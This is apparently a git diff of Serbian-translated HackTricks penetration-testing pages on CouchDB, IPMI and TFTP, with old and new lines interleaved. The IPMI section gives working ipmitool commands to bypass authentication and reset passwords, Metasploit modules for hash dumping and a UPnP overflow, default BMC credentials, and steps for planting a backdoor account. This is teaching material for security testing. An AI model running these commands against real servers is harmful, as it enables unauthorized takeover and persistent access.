**[Sažetak](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** sa alternativnim payloadom pruža dalje uvide u iskorišćavanje CVE-2017-12636 pod određenim uslovima. **Korisni resursi** za iskorišćavanje ove ranjivosti uključuju:
A **[rezime](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** sa alternativnim payload-om pruža dodatne uvide u eksploataciju CVE-2017-12636 pod specifičnim uslovima. **Korisni resursi** za eksploataciju ove ranjivosti uključuju:
- [POC kôd za iskorišćavanje](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Unos u Exploit Database-u](https://www.exploit-db.com/exploits/44913/)
- [POC exploit kod](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Unos u Exploit Database](https://www.exploit-db.com/exploits/44913/)
## Shodan
@ -251,16 +231,17 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -2,112 +2,113 @@
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
### **Pregled IPMI-ja**
### **Overview of IPMI**
**[Inteligentni interfejs za upravljanje platformom (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** nudi standardizovan pristup za daljinsko upravljanje i nadgledanje računarskih sistema, nezavisno od operativnog sistema ili stanja napajanja. Ova tehnologija omogućava sistem administratorima da upravljaju sistemima daljinski, čak i kada su isključeni ili neodzivni, i posebno je korisna za:
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** nudi standardizovani pristup za daljinsko upravljanje i nadgledanje računarskih sistema, nezavisno od operativnog sistema ili stanja napajanja. Ova tehnologija omogućava sistem administratorima da upravljaju sistemima na daljinu, čak i kada su isključeni ili neodgovaraju, i posebno je korisna za:
- Konfiguracije pre pokretanja operativnog sistema
- Upravljanje isključivanjem
- Obnova nakon neuspeha sistema
- Upravljanje isključenjem
- Oporavak od sistemskih grešaka
IPMI je sposoban da nadgleda temperature, napon, brzinu ventilatora i napajanja, kao i da pruža informacije o inventaru, pregleda logove hardvera i šalje upozorenja putem SNMP-a. Za njegov rad su neophodni izvor napajanja i LAN veza.
IPMI je sposoban da nadgleda temperature, napone, brzine ventilatora i napajanja, uz pružanje informacija o inventaru, pregledanje hardverskih logova i slanje upozorenja putem SNMP-a. Osnovni zahtevi za njegov rad su izvor napajanja i LAN konekcija.
Od svog predstavljanja od strane Intela 1998. godine, IPMI je podržan od strane brojnih prodavaca, poboljšavajući mogućnosti daljinskog upravljanja, posebno sa podrškom verzije 2.0 za serijski preko LAN-a. Ključni komponenti uključuju:
Od svog uvođenja od strane Intela 1998. godine, IPMI je podržan od strane brojnih dobavljača, poboljšavajući mogućnosti daljinskog upravljanja, posebno sa podrškom verzije 2.0 za serijsku komunikaciju preko LAN-a. Ključne komponente uključuju:
- **Baseboard Management Controller (BMC):** Glavni mikrokontroler za IPMI operacije.
- **Komunikacione magistrale i interfejsi:** Za internu i eksternu komunikaciju, uključujući ICMB, IPMB i različite interfejse za lokalne i mrežne veze.
- **IPMI memorija:** Za skladištenje logova i podataka.
- **Baseboard Management Controller (BMC):** Glavni mikro-kontroler za IPMI operacije.
- **Communication Buses and Interfaces:** Za internu i eksternu komunikaciju, uključujući ICMB, IPMB i razne interfejse za lokalne i mrežne konekcije.
- **IPMI Memory:** Za čuvanje logova i podataka.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Podrazumevani port**: 623/UDP/TCP (Obično se koristi UDP, ali može se koristiti i TCP)
**Default Port**: 623/UDP/TCP (Obično je na UDP-u, ali može biti i na TCP-u)
## Enumeracija
## Enumeration
### Otkrivanje
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Možete **identifikovati** verziju koristeći:
Možete **identifikovati** **verziju** koristeći:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Ranjivosti
### IPMI Ranljivosti
U domenu IPMI 2.0, otkrivena je značajna sigurnosna propustljivost od strane Dana Farmera, koja otkriva ranjivost putem **šifarskog tipa 0**. Ova ranjivost, detaljno dokumentovana na [Dan Farmerovom istraživanju](http://fish2.com/ipmi/cipherzero.html), omogućava neovlašćeni pristup sa bilo kojom lozinkom, pod uslovom da je ciljani korisnik validan. Ova slabost je pronađena na različitim BMC-ovima od proizvođača kao što su HP, Dell i Supermicro, što ukazuje na široko rasprostranjenu problematiku unutar svih implementacija IPMI 2.0.
U oblasti IPMI 2.0, značajna sigurnosna slabost otkrivena je od strane Dana Farmera, otkrivajući ranjivost kroz **cipher type 0**. Ova ranjivost, dokumentovana u detalje na [istraživanju Dana Farmera](http://fish2.com/ipmi/cipherzero.html), omogućava neovlašćen pristup sa bilo kojom lozinkom pod uslovom da je ciljana validna korisnička. Ova slabost je pronađena kod različitih BMC-ova proizvođača kao što su HP, Dell i Supermicro, što sugeriše široko rasprostranjen problem unutar svih IPMI 2.0 implementacija.
### **IPMI Bypass autentifikacije putem šifre 0**
### **IPMI Zaobilaženje Autentifikacije putem Cipher 0**
Da biste otkrili ovu manu, možete koristiti sledeći Metasploit pomoćni skener:
Da bi se otkrila ova slabost, može se koristiti sledeći Metasploit pomoćni skener:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Eksploatacija ove greške je moguća pomoću `ipmitool`-a, kao što je prikazano u nastavku, omogućavajući listanje i izmenu korisničkih lozinki:
Eksploatacija ove greške je moguća sa `ipmitool`, kao što je prikazano u nastavku, omogućavajući listanje i modifikaciju korisničkih lozinki:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP Autentifikacija - Preuzimanje udaljenog heša lozinke**
### **IPMI 2.0 RAKP Autentifikacija Udaljeno Preuzimanje Hash-a Lozinke**
Ova ranjivost omogućava preuzimanje soljenih heširanih lozinki (MD5 i SHA1) za bilo koji postojeći korisnički nalog. Da biste testirali ovu ranjivost, Metasploit nudi modul:
Ova ranjivost omogućava preuzimanje zasoljenih hash-ova lozinki (MD5 i SHA1) za bilo koje postojeće korisničko ime. Da biste testirali ovu ranjivost, Metasploit nudi modul:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI Anonimna Autentifikacija**
### **IPMI Anonymous Authentication**
Podrazumevana konfiguracija u mnogim BMC-ovima omogućava "anonimni" pristup, koji se karakteriše praznim korisničkim imenom i lozinkom. Ova konfiguracija može biti iskorišćena za resetovanje lozinki korisničkih naloga koji imaju imena koristeći `ipmitool`:
Podrazumevana konfiguracija u mnogim BMC-ima omogućava "anonimni" pristup, koji se karakteriše nul korisničkim imenom i lozinkom. Ova konfiguracija se može iskoristiti za resetovanje lozinki imenovanih korisničkih naloga koristeći `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI lozinke u čistom tekstu**
### **Supermicro IPMI Lozinke u Čistom Tekstu**
Kritičan dizajnerski izbor u IPMI 2.0 zahteva skladištenje lozinki u čistom tekstu unutar BMC-a u svrhu autentifikacije. Supermicro-ovo skladištenje ovih lozinki na lokacijama poput `/nv/PSBlock` ili `/nv/PSStore` izaziva značajne sigurnosne probleme:
Kritična dizajnerska odluka u IPMI 2.0 zahteva skladištenje lozinki u čistom tekstu unutar BMC-a u svrhe autentifikacije. Skladištenje ovih lozinki na mestima kao što su `/nv/PSBlock` ili `/nv/PSStore` postavlja značajne bezbednosne brige:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP Vulnerabilnost**
### **Supermicro IPMI UPnP Ranljivost**
Uključivanje Supermicro UPnP SSDP slušača u IPMI firmware, posebno na UDP portu 1900, predstavlja ozbiljan sigurnosni rizik. Ranjivosti u Intel SDK za UPnP uređaje verzije 1.3.1, kako je detaljno opisano u [Rapid7-ovom otkrivanju](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), omogućavaju pristup root nalogu BMC-a:
Uključivanje UPnP SSDP slušatelja u Supermicro-ovom IPMI firmveru, posebno na UDP portu 1900, uvodi ozbiljan bezbednosni rizik. Ranljivosti u Intel SDK za UPnP uređaje verzije 1.3.1, kako je detaljno opisano u [Rapid7-ovom otkriću](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), omogućavaju pristup root-u BMC-u:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP nasumično generiše podrazumevanu lozinku** za svoj proizvod **Integrated Lights Out (iLO)** tokom proizvodnje. Ova praksa se razlikuje od drugih proizvođača koji obično koriste **statične podrazumevane akreditive**. Pregled podrazumevanih korisničkih imena i lozinki za različite proizvode je sledeći:
**HP nasumično generiše podrazumevanu lozinku** za svoj **Integrated Lights Out (iLO)** proizvod tokom proizvodnje. Ova praksa se razlikuje od drugih proizvođača, koji obično koriste **statične podrazumevane akreditive**. Sažetak podrazumevanih korisničkih imena i lozinki za različite proizvode je dat u nastavku:
- **HP Integrated Lights Out (iLO)** koristi **fabrički generisanu nisku od 8 karaktera** kao podrazumevanu lozinku, što pokazuje veći nivo bezbednosti.
- Proizvodi poput **Dell-ovog iDRAC-a, IBM-ovog IMM-a** i **Fujitsu-ovog Integrated Remote Management Controller-a** koriste lako pogodne lozinke poput "calvin", "PASSW0RD" (sa nulom) i "admin" redom.
- Slično tome, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** takođe koriste jednostavne podrazumevane akreditive, pri čemu su njihove lozinke "ADMIN", "changeme" i "admin" redom.
- **HP Integrated Lights Out (iLO)** koristi **fabricki nasumično generisanu 8-znamenkastu string** kao svoju podrazumevanu lozinku, pokazujući viši nivo sigurnosti.
- Proizvodi poput **Dell-ovog iDRAC, IBM-ovog IMM** i **Fujitsu-ovog Integrated Remote Management Controller** koriste lako pogađajuće lozinke kao što su "calvin", "PASSW0RD" (sa nulom) i "admin" redom.
- Slično tome, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** takođe koriste jednostavne podrazumevane akreditive, pri čemu "ADMIN", "changeme" i "admin" služe kao njihove lozinke.
## Pristupanje Hostu putem BMC-a
## Accessing the Host via BMC
Administrativni pristup Baseboard Management Controller-u (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje funkcionalnosti BMC tastature, video zapisa i miša (KVM). To se može postići ili ponovnim pokretanjem hosta do root ljuske putem GRUB-a (korišćenjem `init=/bin/sh`) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao spasilački disk. Ove metode omogućavaju direktno manipulisanje diskom hosta, uključujući umetanje zadnjih vrata, izvlačenje podataka ili bilo koje neophodne radnje za procenu bezbednosti. Međutim, to zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristupanje pokrenutom hostu je složenije i razlikuje se u zavisnosti od konfiguracije hosta. Ako je fizička ili serijska konzola hosta ostala prijavljena, lako je preuzeti kontrolu putem BMC-ovih KVM ili serijsko-preko-LAN (sol) funkcionalnosti putem `ipmitool`-a. Istraživanje iskorišćavanja deljenih hardverskih resursa, poput i2c magistrale i Super I/O čipa, je oblast koja zahteva dalje istraživanje.
Administrativni pristup Kontroleru upravljanja matičnom pločom (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje KVM funkcionalnosti BMC-a. To se može uraditi ili ponovnim pokretanjem hosta u root shell putem GRUB-a (koristeći `init=/bin/sh`) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao disk za oporavak. Ove metode omogućavaju direktnu manipulaciju diskom hosta, uključujući umetanje backdoor-a, ekstrakciju podataka ili bilo koje potrebne radnje za procenu sigurnosti. Međutim, ovo zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristup aktivnom hostu je složeniji i varira u zavisnosti od konfiguracije hosta. Ako fizička ili serijska konzola hosta ostane prijavljena, može se lako preuzeti putem KVM ili serial-over-LAN (sol) funkcionalnosti BMC-a koristeći `ipmitool`. Istraživanje iskorišćavanja zajedničkih hardverskih resursa, poput i2c magistrale i Super I/O čipa, je oblast koja zahteva dalju istragu.
## Uvođenje zadnjih vrata u BMC sa hosta
## Introducing Backdoors into BMC from the Host
Nakon kompromitovanja hosta opremljenog BMC-om, **lokalno BMC sučelje može se iskoristiti za umetanje korisničkog naloga zadnjih vrata**, stvarajući trajno prisustvo na serveru. Ovaj napad zahteva prisustvo **`ipmitool`-a** na kompromitovanom hostu i aktivaciju podrške za BMC drajvere. Sledeće komande ilustruju kako se novi korisnički nalog može ubaciti u BMC koristeći lokalno sučelje hosta, što zaobilazi potrebu za autentifikacijom. Ova tehnika se može primeniti na širok spektar operativnih sistema, uključujući Linux, Windows, BSD i čak DOS.
Nakon kompromitovanja hosta opremljenog BMC-om, **lokalni BMC interfejs se može iskoristiti za umetanje backdoor korisničkog naloga**, stvarajući trajnu prisutnost na serveru. Ovaj napad zahteva prisustvo **`ipmitool`** na kompromitovanom hostu i aktivaciju podrške za BMC drajvere. Sledeće komande ilustruju kako se novi korisnički nalog može ubrizgati u BMC koristeći lokalni interfejs hosta, što zaobilazi potrebu za autentifikacijom. Ova tehnika je primenljiva na širok spektar operativnih sistema uključujući Linux, Windows, BSD, pa čak i DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
@ -127,20 +128,21 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
* `port:623`
## Reference
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,42 +1,43 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Osnovne informacije
# Basic Information
**Trivialni protokol za prenos fajlova (TFTP)** je jednostavan protokol koji se koristi na **UDP portu 69** koji omogućava prenos fajlova bez potrebe za autentifikacijom. Istaknut u **RFC 1350**, njegova jednostavnost znači da mu nedostaju ključne sigurnosne funkcije, što dovodi do ograničene upotrebe na javnom internetu. Međutim, **TFTP** se široko koristi unutar velikih internih mreža za distribuciju **konfiguracionih fajlova** i **ROM slika** uređajima kao što su **VoIP telefoni**, zahvaljujući njegovoj efikasnosti u ovim specifičnim scenarijima.
**Trivial File Transfer Protocol (TFTP)** je jednostavan protokol koji se koristi na **UDP portu 69** i omogućava prenos fajlova bez potrebe za autentifikacijom. Istaknut u **RFC 1350**, njegova jednostavnost znači da mu nedostaju ključne bezbednosne karakteristike, što dovodi do ograničene upotrebe na javnom Internetu. Međutim, **TFTP** se široko koristi unutar velikih internih mreža za distribuciju **konfiguracionih fajlova** i **ROM slika** uređajima kao što su **VoIP telefoni**, zahvaljujući svojoj efikasnosti u ovim specifičnim scenarijima.
**TODO**: Pružiti informacije o tome šta je Bittorrent-tracker (Shodan identifikuje ovaj port tim imenom). Ako imate više informacija o tome, javite nam na primer u [**HackTricks telegram grupi**](https://t.me/peass) (ili u github problemu u [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Pružiti informacije o tome šta je Bittorrent-tracker (Shodan identifikuje ovaj port pod tim imenom). Ako imate više informacija o tome, javite nam, na primer, u [**HackTricks telegram grupi**](https://t.me/peass) (ili u github issue-u u [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Podrazumevani port:** 69/UDP
**Default Port:** 69/UDP
```
PORT STATE SERVICE REASON
69/udp open tftp script-set
```
# Enumeracija
# Enumeration
TFTP ne pruža listu direktorijuma, pa će skripta `tftp-enum` iz `nmap` pokušati da forsirovanjem pristupi podrazumevanim putanjama.
TFTP ne pruža listing direktorijuma, pa će skripta `tftp-enum` iz `nmap` pokušati da brute-forc-uje podrazumevane putanje.
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## Preuzimanje/Slanje
## Download/Upload
Možete koristiti Metasploit ili Python da proverite da li možete preuzeti/slati fajlove:
Možete koristiti Metasploit ili Python da proverite da li možete da preuzmete/otpremite fajlove:
```bash
msf5> auxiliary/admin/tftp/tftp_transfer_util
```
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
